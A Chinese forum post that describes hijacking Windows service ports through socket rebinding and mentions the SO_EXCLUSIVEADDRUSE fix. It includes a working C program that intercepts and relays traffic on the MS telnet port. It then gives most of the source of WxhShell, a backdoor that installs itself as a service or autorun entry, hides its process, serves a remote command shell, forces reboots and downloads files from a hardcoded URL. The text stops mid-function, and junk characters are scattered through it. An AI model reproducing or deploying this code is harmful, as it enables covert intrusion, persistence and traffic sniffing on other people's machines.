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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: gU?M/i2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -)DxF<8B  
i\* b<V  
  saddr.sin_family = AF_INET; 7b R[.|T  
HLqDI lL  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }G"bD8+  
$`L |  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /KlSI<T@  
WqHp23  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 U:|:Y=O?Q  
unr`.}A2>  
  这意味着什么?意味着可以进行如下的攻击: 5K =>x<  
= jTC+0u  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |}d+BD  
u!McPM8Yk  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) zGP@!R`_  
C`8.8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 l_ LH!Tu  
? ~oc4J*>(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I0_>ryA  
Yr>7c1FZi  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 fhro"5/4  
l^__oam  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 W}WDj:  
)t$-/8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 L(HAAqRnJ  
mS+sh'VH  
  #include .nei9Y*  
  #include *tl;0<n  
  #include 4^ZbT  
  #include    es\Fn#?O  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .F0Q< s9  
  int main() %D`j3cEp@  
  { (?[%u0%_  
  WORD wVersionRequested; H4W!@"e  
  DWORD ret; (b7',:_U7  
  WSADATA wsaData; nlc$"(eA[H  
  BOOL val; {-hu""x>  
  SOCKADDR_IN saddr; perhR!#J  
  SOCKADDR_IN scaddr; WA#y&  
  int err; <}}u'5;^?x  
  SOCKET s; $,nidK!"  
  SOCKET sc; XM`&/)  
  int caddsize; )~ ^`[`  
  HANDLE mt; <ti,Wn.  
  DWORD tid;   I.U=%{.  
  wVersionRequested = MAKEWORD( 2, 2 ); ~eXI}KhBw6  
  err = WSAStartup( wVersionRequested, &wsaData ); :b,An'H  
  if ( err != 0 ) { `KieN/d%  
  printf("error!WSAStartup failed!\n"); ?BU?c:"f  
  return -1; R?#.z#  
  } AH^ud*3F  
  saddr.sin_family = AF_INET; u&e?3qKX(  
   .qCI!%fg  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9T<k|b[6  
*,,:;F^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }5}#QHF  
  saddr.sin_port = htons(23); -gv[u,R  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UryHte  
  { p\tA&>3-  
  printf("error!socket failed!\n"); A $l  
  return -1; 8(* ze+8  
  } Xv xrz{  
  val = TRUE; ,E2c9V'  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 HC| ]Au  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \OkJX_7  
  { -#r=  
  printf("error!setsockopt failed!\n"); $v=(`=  
  return -1; ^j2z\yo  
  } GYV%RD#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; fH% C&xj'&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0RN7hpf&`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 z h%b<  
}*7Gq  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) e/$M6l$Q*4  
  { YOtzj a]~  
  ret=GetLastError(); 6r ?cpJV{  
  printf("error!bind failed!\n"); s`dkEaS  
  return -1; 8I|1P l  
  } }T&;*ww  
  listen(s,2); c'VtRE# z~  
  while(1) yM\tbT/l  
  { o7Z#,>`2  
  caddsize = sizeof(scaddr); e=NQY8?  
  //接受连接请求 TbSt {TX  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Y=#mx3.  
  if(sc!=INVALID_SOCKET) 0L 4]z'5  
  { Yqj.z|}Nb  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :D)&>{?  
  if(mt==NULL) A1&>L9nUx  
  { Q{)F$]w  
  printf("Thread Creat Failed!\n"); pR^Y|NG!  
  break; W.7d{ @n  
  } Y_TL4  
  } /m|&nl8"qe  
  CloseHandle(mt); T[2f6[#[_  
  } 71,0v`Z<  
  closesocket(s); t,as{.H{h  
  WSACleanup(); j,V$vKP  
  return 0; 0OoO cc  
  }   1Tk\n  
  DWORD WINAPI ClientThread(LPVOID lpParam) \/e*quxx  
  { &?ed.V@E5  
  SOCKET ss = (SOCKET)lpParam; M#gGD-  
  SOCKET sc; `0i}}Zo  
  unsigned char buf[4096]; B7QtB3bn  
  SOCKADDR_IN saddr; SwmPP-n  
  long num; ,, -[P*@  
  DWORD val; )@&?i.  
  DWORD ret; 8=_| qy}l/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 jnLo[Cf,H8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $5 p'+bE  
  saddr.sin_family = AF_INET; X9BBnZ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); i)^ZH#G p  
  saddr.sin_port = htons(23); R)d 7b,_Yd  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >Ki]8 &  
  { # ;KG6IE  
  printf("error!socket failed!\n"); eX),B  
  return -1; x@R A1&c  
  } S5JR`o  
  val = 100; H\>I&gC'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *Zo o  
  { ;{C{V{  
  ret = GetLastError(); jtOsb91c}  
  return -1; &@Gu~)^(  
  } wN0OAbtX'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r{3 `zqo  
  { 2A;[Ek6{q  
  ret = GetLastError(); 7 QJcRZ[lU  
  return -1; vrldRn'*9  
  } 80" =Qu{s  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) x;]{ 8#-z  
  { gd,%H@3  
  printf("error!socket connect failed!\n"); wLp t2b8S  
  closesocket(sc); L/+J|_J)  
  closesocket(ss); ;GE u.PdxB  
  return -1; #.t{g8W\C  
  } PKs%-Uk  
  while(1) a~TZ9yg+HL  
  { ~"YNG?Rre  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |dzF>8< )  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 */e5lRO\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 N9|.D.#MF  
  num = recv(ss,buf,4096,0); :P1c>:j[  
  if(num>0) %$KO]   
  send(sc,buf,num,0); 0>MI*fnY"  
  else if(num==0) zQ+t@;g1  
  break; # Kr.!uD  
  num = recv(sc,buf,4096,0); WkIV  
  if(num>0) !QspmCo+  
  send(ss,buf,num,0); X&8,.=kt"  
  else if(num==0) itgO#(g$Q  
  break; jP'b! 4  
  } rB?cm]G=  
  closesocket(ss); * v]UgPk  
  closesocket(sc); a$O]'}]`  
  return 0 ; * XGBym  
  } OFbg]{ub?  
_?c.3+;s  
AwrK82  
========================================================== XOU$3+8q5  
$3B?  
下边附上一个代码,,WXhSHELL 34:EpZO@  
<]^D({`  
========================================================== 0Wm-` ZA  
rv%[?Ml  
#include "stdafx.h" {jf~?/<  
~]M"  
#include <stdio.h> LTct0Gh  
#include <string.h> 8E[`H  
#include <windows.h> *)I1gR~  
#include <winsock2.h> sR .j~R  
#include <winsvc.h> .Tv(1HAc2l  
#include <urlmon.h> 3Q)>gh*  
R*m" '|U  
#pragma comment (lib, "Ws2_32.lib") H-w|JH>g  
#pragma comment (lib, "urlmon.lib") Fo~v.+^?  
V/e_:xECC  
#define MAX_USER   100 // 最大客户端连接数 dR:iUw:V  
#define BUF_SOCK   200 // sock buffer @~3c;9LkY  
#define KEY_BUFF   255 // 输入 buffer CF_!{X_k}  
o hlVc%a  
#define REBOOT     0   // 重启 W F<V2o{k  
#define SHUTDOWN   1   // 关机 #+k[[; 0  
q+~CA[H5K  
#define DEF_PORT   5000 // 监听端口 p> S/6 [X  
}wXD%X@)l  
#define REG_LEN     16   // 注册表键长度 T@.D5[q0:  
#define SVC_LEN     80   // NT服务名长度 nDy=ZsK  
qH"a!  
// 从dll定义API *rT(dp!Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {E|gV9g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AAgA]OD,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); & jvG]>CS'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s#ZH.z@J  
8$Yf#;m[  
// wxhshell配置信息 d?Cl04  
struct WSCFG { / u6$M/Cf>  
  int ws_port;         // 监听端口 mM>|fHGA  
  char ws_passstr[REG_LEN]; // 口令 g<%-n,  
  int ws_autoins;       // 安装标记, 1=yes 0=no yTiqG5r  
  char ws_regname[REG_LEN]; // 注册表键名 +9CUnRv  
  char ws_svcname[REG_LEN]; // 服务名 *`T &Dlt'8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rK|&u v*b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vy2aNUmt  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c F]3gM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yG$@!*|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vW3ZuB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $t'I*k^N  
l&xD3u^G  
}; a=VT|CX[  
'U$VO q?!  
// default Wxhshell configuration S]O Hv6  
struct WSCFG wscfg={DEF_PORT, #SNI dc>9\  
    "xuhuanlingzhe", [S+-ovl  
    1, Z]\^.x9S  
    "Wxhshell", =A 6O}0z  
    "Wxhshell", L-{r*ccIW  
            "WxhShell Service", 'fFdqsXr  
    "Wrsky Windows CmdShell Service", 1:UC\WW  
    "Please Input Your Password: ", RGI6W{\  
  1, I]1Hi?A2  
  "http://www.wrsky.com/wxhshell.exe", |9Ks13?Ck  
  "Wxhshell.exe" Qp&yS U8  
    }; w{EU9C  
?Zp!AV  
// 消息定义模块 -GVG1#5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [:@?,?V\N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N2s%p6RMPD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X>8?p'*  
char *msg_ws_ext="\n\rExit."; vaJXX  
char *msg_ws_end="\n\rQuit."; )uuEOF"w  
char *msg_ws_boot="\n\rReboot..."; i9U_r._qj;  
char *msg_ws_poff="\n\rShutdown..."; E9 q;>)}  
char *msg_ws_down="\n\rSave to "; 1t=X: ]0j  
WTs[Sud/  
char *msg_ws_err="\n\rErr!"; bv>lm56  
char *msg_ws_ok="\n\rOK!"; `h5eej&s(  
166c\QO  
char ExeFile[MAX_PATH]; o 0ivja  
int nUser = 0; i/~QJ1C  
HANDLE handles[MAX_USER]; C-^%g [#  
int OsIsNt; 7qK0!fk5  
EFt`<qwj  
SERVICE_STATUS       serviceStatus; AeCG2!8^0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -7z y  
mX.3R+t  
// 函数声明 7P^{*!  
int Install(void); 1$D`Z/N"A  
int Uninstall(void); ]O=S2Q  
int DownloadFile(char *sURL, SOCKET wsh); G,|]a#w&v.  
int Boot(int flag); %g@3S!lK  
void HideProc(void); 'Mx K}9  
int GetOsVer(void); q&d&#3Rh  
int Wxhshell(SOCKET wsl); &z X 3  
void TalkWithClient(void *cs); ^~<Rzq!  
int CmdShell(SOCKET sock); >dvWa-rNUT  
int StartFromService(void); t^_{5  
int StartWxhshell(LPSTR lpCmdLine); skD k/-*R  
Y!1^@;)^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xD= qU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }A)36  
!:O/|.+Vmf  
// 数据结构和表定义 /.kna4k  
SERVICE_TABLE_ENTRY DispatchTable[] = <_a70"i  
{ Sa?5iFg  
{wscfg.ws_svcname, NTServiceMain}, PUjoi@]  
{NULL, NULL} `KJYm|@i  
}; +fP/|A8P  
=Q8H]F  
// 自我安装 [[0bhmG)  
int Install(void) S|q!? /jqj  
{ *iRm`)zC(  
  char svExeFile[MAX_PATH]; P 5qa:<  
  HKEY key; ;?L!1wklA  
  strcpy(svExeFile,ExeFile); gAr`hXO  
,8=`*  
// 如果是win9x系统,修改注册表设为自启动 "?eH=!  
if(!OsIsNt) { JXLWRe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i+X2M-[Ls  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *L;pcg8{  
  RegCloseKey(key); !V]MLA`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rg?{?qK\K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7moElh v  
  RegCloseKey(key); ~6-"i0k  
  return 0; 7edPH3  
    } 1] %W\RHxo  
  } JIP+ !2  
} .A*VLF*m  
else { Wm$`ae   
,5\2C{  
// 如果是NT以上系统,安装为系统服务 G !1~i*P$u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {C/L5cZ]J  
if (schSCManager!=0) s^g.42?u  
{ 0;FqX*  
  SC_HANDLE schService = CreateService rQcRjh+E H  
  ( +^4BO`   
  schSCManager, <}EV*`w4  
  wscfg.ws_svcname, *^@#X-NG  
  wscfg.ws_svcdisp, vnC<*k4&v  
  SERVICE_ALL_ACCESS, QY~<~<d+G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $!|8g`Tm  
  SERVICE_AUTO_START, g|K6iY  
  SERVICE_ERROR_NORMAL, ^"O{o8l>2  
  svExeFile, Sa;<B:|  
  NULL, IpWy)B>Fl3  
  NULL, 4d^ \l!  
  NULL, Ew %{ i(d  
  NULL, >d8x<|D  
  NULL *GbVMW[A>  
  ); L$+d.=]  
  if (schService!=0) #`jE%ONC  
  { ?Oy'awf_  
  CloseServiceHandle(schService); eg"=H50  
  CloseServiceHandle(schSCManager); 1B)Y;hg6&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PIZ C;K4|  
  strcat(svExeFile,wscfg.ws_svcname); bZNIxkc[Dh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4F05(R8k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ixIV=#  
  RegCloseKey(key); iNod</+"K  
  return 0; ?EI'^xg  
    } :/C ?FHs9  
  } xS6(K  
  CloseServiceHandle(schSCManager); 1)TK01R8  
}  L5"8G,I  
} T4OguP=  
3iE-6udCS  
return 1; -DTB6}kw  
} 3@^MvoC  
MqRpG5 .  
// 自我卸载 "6o}g.  
int Uninstall(void) [5yLg  
{ r Z%l?(  
  HKEY key; g m'8,ZL  
Dn1aaN6  
if(!OsIsNt) { B*W)e$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0CX2dk"UB^  
  RegDeleteValue(key,wscfg.ws_regname); u[k0z!p_ c  
  RegCloseKey(key); as6a)t.^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8`M) r'5  
  RegDeleteValue(key,wscfg.ws_regname); }f45>@uMW  
  RegCloseKey(key); >UlAae44  
  return 0;  UDl[  
  } +es|0;Z4yP  
} [TRHcz n  
} ROb2g|YXG  
else { SA!P:Q?h  
kbu.KU+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vf^`'  
if (schSCManager!=0) s 1~&PH^  
{ J%r$jpd'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); TuR.'kE@  
  if (schService!=0) <l>o6K  
  { rW),xfo0  
  if(DeleteService(schService)!=0) { 4}&$s  
  CloseServiceHandle(schService); @~g][O#Fu  
  CloseServiceHandle(schSCManager); dK.k,7R  
  return 0; tg5G`P5PJ  
  } Lgr(j60s  
  CloseServiceHandle(schService); 2":{3=oW~  
  } mLGbwm'K  
  CloseServiceHandle(schSCManager); | 6/ # H*  
} Lfr>y_i;F  
} V d`}F0WD  
Ah#bj8}  
return 1; 0[L)`7  
} v2K6y|6,  
?R#?=<VkG  
// 从指定url下载文件 ^t0Yh%V7  
int DownloadFile(char *sURL, SOCKET wsh) 3]MSS\uB  
{ Cr&,*lUo  
  HRESULT hr; xryXO(  
char seps[]= "/"; ?hfyQhR  
char *token; ^ s.necg0  
char *file; pXap<T  
char myURL[MAX_PATH]; 4;;K1< 1  
char myFILE[MAX_PATH]; Tup2;\y  
P[L] S7FTr  
strcpy(myURL,sURL); +5<]s+4T  
  token=strtok(myURL,seps); ,Y+J.8.H   
  while(token!=NULL) J}?:\y<  
  { CT2L }5L&  
    file=token; |i~Ab!*8n  
  token=strtok(NULL,seps); .S{>?2  
  } IVY{N/ 3|  
*h9S\Pv>j  
GetCurrentDirectory(MAX_PATH,myFILE); D}i_#-^MH  
strcat(myFILE, "\\"); qvHRP@  
strcat(myFILE, file); 1&2X*$]y  
  send(wsh,myFILE,strlen(myFILE),0); b~Q8&z2  
send(wsh,"...",3,0); \g;o9}@3~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5,~Ju>y*  
  if(hr==S_OK) \+3P<?hD#  
return 0; _(zPA4q8q  
else -F338J+J24  
return 1; bf*VY&S- T  
#)7THx/=  
} `=QRC.b  
{9_}i#,vR  
// 系统电源模块 NW%u#MZ[h  
int Boot(int flag) z%0'v`7  
{ 9snc *<  
  HANDLE hToken; *p  !F+"  
  TOKEN_PRIVILEGES tkp; G[4$@{  
E9]\ I> v  
  if(OsIsNt) { xp68-&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }bA@QEJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); sc)}r_|g  
    tkp.PrivilegeCount = 1; :d{-"RAG"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pf@H;QS`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  O86[`,  
if(flag==REBOOT) { XUK!1}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fC<pCdsg  
  return 0; f8JWg9 m  
} tQYkH$e`/{  
else { =Ul{#R z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m6 V L  
  return 0; zho$g9*  
} +>*! 3x+sE  
  } zxhE9 [`*e  
  else { ~A-Y%P  
if(flag==REBOOT) { s-lNpOi  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *k^'xL  
  return 0; q1_iV.G<  
} P+2@,?9#  
else { d")TH3pG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )wdTs>W7  
  return 0; (5\VOCT>4%  
} mLb>*xt$b@  
} }T1.~E  
Y k @/+PE  
return 1; .tQeOZW'  
} *w,C5 f  
C;jV)hr6P  
// win9x进程隐藏模块 vp2s)W8W  
void HideProc(void) e4mAKB s!  
{ /_{B_2i/>  
BH3%dh :9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <yg! D21Y  
  if ( hKernel != NULL ) n~Qo@%Jr  
  { ms/!8X$Mz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +DwE~l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6i7+.#s  
    FreeLibrary(hKernel); +JlPQ~5  
  } E=$li  
45aFH}w:  
return; 2uT"LW/(H  
} D4IP$pAD  
rF\L}& Sw  
// 获取操作系统版本 ~9ynlVb7)r  
int GetOsVer(void) u6MHdCJ0y  
{ .u3Z*+  
  OSVERSIONINFO winfo; H_vGa!_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /L^pU-}Z0  
  GetVersionEx(&winfo); dBb &sA-A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r$WBEt,B  
  return 1; ?)V|L~/  
  else kK%@cIXS3  
  return 0; hq*"S -N  
} 4`zK`bRcK#  
PfjD!=yS=h  
// 客户端句柄模块 f~ P~%  
int Wxhshell(SOCKET wsl) zJH:`~GxE  
{ dj2w_:&W  
  SOCKET wsh; j^6,V\;l  
  struct sockaddr_in client; k<A|+![  
  DWORD myID; vB Vg/  
mTBSntZx  
  while(nUser<MAX_USER) 1TlMB  
{ +HkEbR'G0  
  int nSize=sizeof(client); .kc{)d*0K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MHQM'  
  if(wsh==INVALID_SOCKET) return 1; '4)4*3z,  
s)~Wcp'+M:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Pj ^O8  
if(handles[nUser]==0) r*f:%epB%  
  closesocket(wsh); WXFC e@  
else zn#lFPj12  
  nUser++; 1k!$#1d<  
  } }iRRf_   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (sp{.bU  
![ @i+hl  
  return 0; $ E-c%-  
} iD) P6"  
&I7T ?  
// 关闭 socket nJR(lXWO  
void CloseIt(SOCKET wsh) f"Kl? IN8  
{ /NUu^ N  
closesocket(wsh); Sh(XFUJ  
nUser--; xG:7AGZ$[  
ExitThread(0); plgiQr #  
} ?P"j5  
hx hs>eY  
// 客户端请求句柄 ;\ gat)0n%  
void TalkWithClient(void *cs) o?><(A|  
{ } QpyU%  
<4Ik]Uz^  
  SOCKET wsh=(SOCKET)cs; x }i'2   
  char pwd[SVC_LEN]; )TOKHN  
  char cmd[KEY_BUFF]; r<pt_Cd  
char chr[1]; # 66vkf*  
int i,j; NT<}-^  
T#ehJq 5  
  while (nUser < MAX_USER) { F32U;fp3  
X;d 1@G  
if(wscfg.ws_passstr) { ?<~P)aVVj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `g'z6~c7n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z[9f8/6<b  
  //ZeroMemory(pwd,KEY_BUFF); |3=tF"h  
      i=0; Xagz(tm/  
  while(i<SVC_LEN) { |V mQ  
M4K>/-9X+V  
  // 设置超时 _SqUPTb"u  
  fd_set FdRead; .`+N+B(4  
  struct timeval TimeOut; yTh60U  
  FD_ZERO(&FdRead); 0b+End#mp  
  FD_SET(wsh,&FdRead); 4n/CS AT1  
  TimeOut.tv_sec=8; p/Ri|FD6  
  TimeOut.tv_usec=0; 54%h)dLDy  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v,Yz\onB^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :.?%e{7  
qQe23,x@5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E\XD~  
  pwd=chr[0]; y5N,~@$r  
  if(chr[0]==0xd || chr[0]==0xa) { y-vQ4G5F|  
  pwd=0; rNeSg=j  
  break; Q9sxI}D )R  
  } X;3gKiD  
  i++; ,{sCI/  
    } +t p@Tb  
hlBqcOpkKg  
  // 如果是非法用户,关闭 socket e18}`<tW-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Cm[^+.=I  
} k>!A~gfP~  
(zhi/>suG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UYsyVY`Fm|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )r6d3-p1  
( 2i{8  
while(1) { @1+({u#B  
S01 Bc  
  ZeroMemory(cmd,KEY_BUFF); NEcE -7aT  
2[Vs@X  
      // 自动支持客户端 telnet标准   jHBP:c  
  j=0; 2JLXDkZ  
  while(j<KEY_BUFF) { TpB4VNi/<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w$XqxI/&  
  cmd[j]=chr[0]; I@$cw3  
  if(chr[0]==0xa || chr[0]==0xd) { yHXQCWY{8;  
  cmd[j]=0; Ft<6`C  
  break; U<YP@?w  
  } AHo4% 5  
  j++; M$jU-;hRH  
    } tdCD!rV`{  
b1*5#2rs.  
  // 下载文件 "^Ax}Jr  
  if(strstr(cmd,"http://")) { !OCb^y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ujLz<5gKuO  
  if(DownloadFile(cmd,wsh)) |7pi9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?2q;`Nb  
  else }akF=/M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xJ);P.  
  } `|rr<Tsy\  
  else { pzQWr*5a  
(}4]U=/nV  
    switch(cmd[0]) { WZ A8D0[  
  !4/s|b9K  
  // 帮助 \FL`b{!+ N  
  case '?': { 4Odf6v,*@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k"L?("~   
    break; ,&q Q[i  
  } Qy!;RaA3T  
  // 安装 ru5T0w";V  
  case 'i': { L'@@ewA  
    if(Install()) Lj,!0 25  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C)RJjaOr  
    else ol7^T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ImG7E w  
    break; B.oD9 <9  
    } gz~)v\5D/  
  // 卸载  &$ x1^  
  case 'r': { iiWm>yy  
    if(Uninstall()) M,R**z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dBG5IOD  
    else 's>./Pf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a^>e| Eq|  
    break; 6$y$ VeW  
    } |{j\7G*5  
  // 显示 wxhshell 所在路径 lI&5.,2MP  
  case 'p': { TEEt]R-y  
    char svExeFile[MAX_PATH]; upc-Qvk  
    strcpy(svExeFile,"\n\r"); b&_u+g  
      strcat(svExeFile,ExeFile); Dx*tolF  
        send(wsh,svExeFile,strlen(svExeFile),0); r1R\cor  
    break; [izP1A$r#Q  
    } c_Fz?R+f?K  
  // 重启 KM&bu='L^  
  case 'b': { `}o{o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "NOll:5"(  
    if(Boot(REBOOT)) .Z#8,<+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -S6^D/(;  
    else { tg#d.(  
    closesocket(wsh); 9'I$8Su  
    ExitThread(0); \*i[m&3;q  
    } ;>jLRx<KC  
    break; !`S61~gE  
    } {u@w^ hZ$  
  // 关机 u[b0MNE~  
  case 'd': { zLS=>iLD{  
